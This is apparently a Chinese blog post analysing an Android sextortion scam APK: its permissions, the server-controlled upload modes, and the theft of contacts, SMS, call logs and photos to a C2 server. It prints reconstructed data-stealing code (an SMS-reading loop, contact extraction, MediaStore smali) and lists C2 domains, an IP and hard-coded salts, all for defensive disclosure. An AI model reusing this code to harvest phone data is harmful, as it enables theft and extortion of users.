Android诈骗裸聊软件逆向分析

Android诈骗裸聊软件逆向分析

前言

好久没写博客,打算更新一波,刚好冲浪的时候经常看到一些乱起八糟的机器人号,于是好奇去查了查(绝对不是因为我想要裸聊!绝对不是!

联系之后还是经典的话术。

于是我就拿到了恶意网站的链接进去之后是这个样子,明显就是仿照马斯克的x(话说这么明显的招数真的会有人上钩吗

安装后图标是这样的:

这个系统打开之后是这个样子,注意,这是我在完全受控环境中安装测试的,不要自己尝试

可以看到就是一个界面,点击立刻登陆后会跳出正在连接服务器,但是实际上可没有那么简单

解包分析

入口 Activity 是 DCloud 的 io.dcloud.PandoraEntry,说明它使用 uni-app 打包。继续翻应用配置,只找到三个页面:

text 复制代码
pages/index/index
pages/upload-progress/index
pages/home/index

登录页负责索要手机号和 6 位邀请码;进度页会轮流展示"连接服务器""开启加密通信""验证用户身份""匹配用户""进入房间";主页则简单得近乎敷衍。

真正应该属于聊天软件的东西一个也没有:没有联系人列表,没有聊天会话,没有消息存储,没有 WebSocket,没有音视频房间,也没有通话实现。

进度页还设计了 90 秒倒计时。倒计时结束后,它不会带用户进入任何房间,只会弹出"暂时没有匹配到合适的用户,请联系客服"一类文案。

到这里,我已经开始怀疑:所谓"匹配用户",可能只是给后台操作争取时间。

javascript 复制代码
var isReady = false; var onReadyCallbacks = [];
var isServiceReady = false; var onServiceReadyCallbacks = [];
var __uniConfig = { "pages": ["pages/index/index", "pages/upload-progress/index", "pages/home/index"], "window": { "navigationBarTextStyle": "black", "navigationBarTitleText": "uni-app", "navigationBarBackgroundColor": "#F8F8F8", "backgroundColor": "#F8F8F8" }, "darkmode": false, "nvueCompiler": "uni-app", "nvueStyleCompiler": "uni-app", "renderer": "auto", "splashscreen": { "alwaysShowBeforeRender": true, "autoclose": false }, "appname": "X album", "compilerVersion": "5.24", "entryPagePath": "pages/index/index", "networkTimeout": { "request": 60000, "connectSocket": 60000, "uploadFile": 60000, "downloadFile": 60000 } };
var __uniRoutes = [{ "path": "/pages/index/index", "meta": { "isQuit": true }, "window": { "navigationBarTitleText": "登录", "navigationStyle": "custom" } }, { "path": "/pages/upload-progress/index", "meta": {}, "window": { "navigationBarTitleText": "数据同步中", "navigationStyle": "custom" } }, { "path": "/pages/home/index", "meta": {}, "window": { "navigationBarTitleText": "首页" } }];
__uniConfig.onReady = function (callback) { if (__uniConfig.ready) { callback() } else { onReadyCallbacks.push(callback) } }; Object.defineProperty(__uniConfig, "ready", { get: function () { return isReady }, set: function (val) { isReady = val; if (!isReady) { return } const callbacks = onReadyCallbacks.slice(0); onReadyCallbacks.length = 0; callbacks.forEach(function (callback) { callback() }) } });
__uniConfig.onServiceReady = function (callback) { if (__uniConfig.serviceReady) { callback() } else { onServiceReadyCallbacks.push(callback) } }; Object.defineProperty(__uniConfig, "serviceReady", { get: function () { return isServiceReady }, set: function (val) { isServiceReady = val; if (!isServiceReady) { return } const callbacks = onServiceReadyCallbacks.slice(0); onServiceReadyCallbacks.length = 0; callbacks.forEach(function (callback) { callback() }) } });
service.register("uni-app-config", { create(a, b, c) { if (!__uniConfig.viewport) { var d = b.weex.config.env.scale, e = b.weex.config.env.deviceWidth, f = Math.ceil(e / d); Object.assign(__uniConfig, { viewport: f, defaultFontSize: Math.round(f / 20) }) } return { instance: { __uniConfig: __uniConfig, __uniRoutes: __uniRoutes, global: void 0, window: void 0, document: void 0, frames: void 0, self: void 0, location: void 0, navigator: void 0, localStorage: void 0, history: void 0, Caches: void 0, screen: void 0, alert: void 0, confirm: void 0, prompt: void 0, fetch: void 0, XMLHttpRequest: void 0, WebSocket: void 0, webkit: void 0, print: void 0 } } } });

Manifest 里出现了与"相册交友"完全不相称的权限:

text 复制代码
READ_CONTACTS
READ_SMS
READ_CALL_LOG
READ_PHONE_STATE
ACCESS_FINE_LOCATION
READ_EXTERNAL_STORAGE
READ_MEDIA_IMAGES
QUERY_ALL_PACKAGES
CAMERA
REQUEST_INSTALL_PACKAGES

app-service.js 被 webpack 压缩成了少数几行长文本,但它没有加密关键字符串。搜索 URL,很快就能找到硬编码的服务器:

javascript 复制代码
baseUrl = "https://api.xalbum822.fit";

紧挨着它的,还有两个写死在客户端里的"签名密钥":

text 复制代码
df_client_salt_2024
df_secret_key_2024_postdata

继续向下追,所有接口逐渐拼成了一张完整的数据外传地图:

text 复制代码
/api/index/sys    远程配置
/api/index/login   身份、设备和定位
/api/index/contact  通讯录
/api/index/message  短信
/api/index/call   通话记录
/api/index/app    安装应用列表
/api/common/upload  相册图片

服务器决定它什么时候偷

应用启动后,会先调用 /api/index/sys。这个接口不仅返回界面名称、Logo、背景图和诱导文案,还能决定客户端需要申请哪些权限,以及采用哪一种上传模式。

代码里给两种模式写了非常直白的中文日志:

text 复制代码
mode=0(边授权边上传)
mode=1(登录后统一上传)

mode=0 尤其危险。用户刚刚在权限弹窗里点击"允许",程序就会在短暂延迟后读取并上传对应数据。用户可能还没有输入手机号,更没有进入所谓房间,但通讯录、短信或相册已经开始离开手机。

mode=1 则更像传统流程:先收集权限,等"登录成功"后一次性上传。

所以简单来说,基本流程就是非常朴实无华而且没有任何弯弯绕的打直球

下载安装 -> 申请权限 -> 上传信息 (大惊,这真的能骗到人吗

通讯录的提取逻辑

程序刚启动的时候会调用:

javascript 复制代码
plus.contacts.getAddressBook(plus.contacts.ADDRESSBOOK_PHONE)

它取出联系人姓名和第一个电话号码,去掉空格后按号码去重,再分批发往 /api/index/contact

更值得注意的是失败分支:如果通讯录为空,整个流程会立即结束,并返回"通讯录为空"。界面随后可以使用服务端下发的文案,把真实原因伪装成:

text 复制代码
APP 不兼容,请更换手机

可以看出来,这个诈骗软件的最主要逻辑就是拿到通讯录,因为只有拿到通讯录他才可以进行勒索操作。

短信与通话记录的提取逻辑

短信读取没有藏在复杂的 Native 代码里,而是通过 DCloud 的 Android 桥接直接访问系统 ContentProvider。

压缩代码还原后的关键逻辑大致如下:

javascript 复制代码
const uri = Uri.parse("content://sms/");
const cursor = resolver.query(uri, null, null, null, "date DESC");

const maximum = Math.min(cursor.getCount(), 50);
for (let i = 0; i < maximum; i++) {
  result.push({
    address: cursor.getString(cursor.getColumnIndex("address")),
    body: cursor.getString(cursor.getColumnIndex("body")),
    type: cursor.getInt(cursor.getColumnIndex("type")),
    time: cursor.getLong(cursor.getColumnIndex("date"))
  });
}

它读取最近最多 50 条短信,包括对方号码、短信正文、收发类型和时间,然后发送到 /api/index/message

通话记录采用类似方式,通过 CallLog.Calls.CONTENT_URI 读取号码、备注名、呼入呼出类型、时间和通话时长。默认读取上限是 99,999,几乎等同于"能读多少就读多少"。数据最后进入 /api/index/call

提取相册信息

JavaScript 中出现了一个名为 sn-photos 的原生插件。APK 内的注册文件给出了它对应的 Java 类:

json 复制代码
{
  "name": "sn-photos",
  "class": "com.itfenbao.snplugin.photos.SnPhotosModule"
}

这一次,调用链可以一路追进 Smali。

SnPhotosModule.readPhotos() 带有 @UniJSMethod 注解,意味着 JavaScript 可以直接调用它。方法内部创建 PhotoLoader,并把参数设为 0------代表读取图片:

smali 复制代码
.method public readPhotos(Lio/dcloud/feature/uniapp/bridge/UniJSCallback;)V
    .annotation runtime Lio/dcloud/feature/uniapp/annotation/UniJSMethod;
    .end annotation

    new-instance v1, Lcom/itfenbao/snplugin/photos/PhotoLoader;
    const/4 v2, 0x0
    invoke-direct {v1, v0, v2}, Lcom/itfenbao/snplugin/photos/PhotoLoader;-><init>(Landroidx/fragment/app/FragmentActivity;I)V

来到 PhotoLoader.smali,图片来源写得更加直接:

smali 复制代码
sget-object v0, Landroid/provider/MediaStore$Images$Media;->EXTERNAL_CONTENT_URI:Landroid/net/Uri;

Loader 会按 date_added DESC 查询 MediaStore,在 Cursor 中逐条读取 _data 路径:

smali 复制代码
const-string v0, "_data"
invoke-interface {p2, v0}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I
invoke-interface {p2, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
invoke-interface {p1, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z

最后,这批路径以 paths 字段回传给 JavaScript。JavaScript 最多取前 100 张,通过 multipart 请求逐张上传到 /api/common/upload

这条证据链非常完整:

text 复制代码
JavaScript 调用 sn-photos
  -> Smali/Java 查询 MediaStore
  -> 返回图片路径列表
  -> JavaScript 截取前 100 项
  -> 上传至 C2

后台分析

静态分析结束后,我没有让样本与服务器通信,而是通过本地代理 127.0.0.1:7897,对 C2 做了简单的分析

Cloudflare DNS-over-HTTPS 返回:

text 复制代码
api.xalbum822.fit -> 43.135.50.143

TLS 证书的主体却不是 api.xalbum822.fit,而是:

text 复制代码
CN = api2.imim530.site

证书 SAN 同时包含三个域名:

text 复制代码
api.slsl810.site
api.xalbum822.fit
api2.imim530.site

这说明它们至少共享同一套证书部署或基础设施,大概率都是诈骗者的资产。

几个常见管理入口也全部返回 404:

text 复制代码
/admin
/admin/login
/backend
/manage
/index.php/admin
/api/admin/login

这意味着我没有在当前 API 域名上找到公开后台登录页。管理端可能位于独立域名、隐藏路径、内网,或者只允许固定 IP 访问。

证书 SAN 里的三个域名只是冰山一角。把 api.xalbum822.fitapi2.imim530.site 当作种子,在证书透明度日志(certspotter)里继续迭代,很快串出了更多兄弟域名:

text 复制代码
api.xalbum822.fit        api.imim530.site        api2.imim530.site
api.slsl810.site         api.dxdx26720.site      api.xhtzx0725.site
api.msms702.club         xapi44.dx202626.site    xapi49.dx202626.site
api.grok519.site         api.grok610.fit         api.grok624.fit
api.slsl619.fit

这些大概率都是后台攻击者的资产。

之后对这些域名分析后,可以看到这样的另一个网站:

不过这个也大概率是恶意的软件下载网站。

可以看到这些非法网站的后台隐藏的还是很好的,继续分析难度很大,因为个人精力问题,所以分析就到此结束了,如果哪位大佬想要继续分析的话可以接力呀!

总结

这个样本并没有复杂的技术实现,本质上就是一个披着"社交匹配"外衣的数据窃取型诈骗 APK。它通过诱导用户授予通讯录、短信、通话记录和相册等敏感权限,将数据上传到远程服务器,再为后续诈骗或勒索提供筹码。这个apk的代码实现相当直接,也没有过于复杂的诱导逻辑(连个美女图片和美女视频都没有,好生气!),主要是通过广撒网的方式去进行诈骗勒索,但这也恰恰说明了这类诈骗真正依赖的并不是高深技术,而是社会工程和用户对权限风险的忽视。

相关推荐
千里马学框架1 天前
一起学 Android 14:ShellTransition 屏幕旋转过程深度剖析
android·智能手机·性能优化·framework·性能·屏幕旋转·rotation
美狐美颜SDK开放平台1 天前
开发直播APP时如何接入视频美颜SDK?开发流程与注意事项
android·人工智能·计算机视觉·音视频·直播美颜sdk
AFinalStone1 天前
Android7 SystemUI源码解析(七)Keyguard锁屏模块深度解析
android·systemui
致远ccc1 天前
Google Play 上架前如何测试 App?多国家 Android 环境测试
android·app测试·googleplay·多国家应用测试
ttyyttemo1 天前
Kotlin 协程中的 Job 结构化并发与取消
android
sun0077001 天前
tbox 4g/5g切换,导致wan ip 改变,导致车机旧网络不可用。需要重启车机才行
android
其实防守也摸鱼1 天前
内网穿透与反向代理:原理、工具与实战指南
android·大数据·运维·安全·网络安全·自动化·渗透
AFinalStone1 天前
Android7 SystemUI 源码解析(四)NavigationBar 导航栏与 SystemBars
android·systemui
JMchen1 天前
属性动画原理与高级动画实现
android·kotlin·canvas
AFinalStone1 天前
Android7 SystemUI 源码解析(二)启动流程深度解析
android·systemui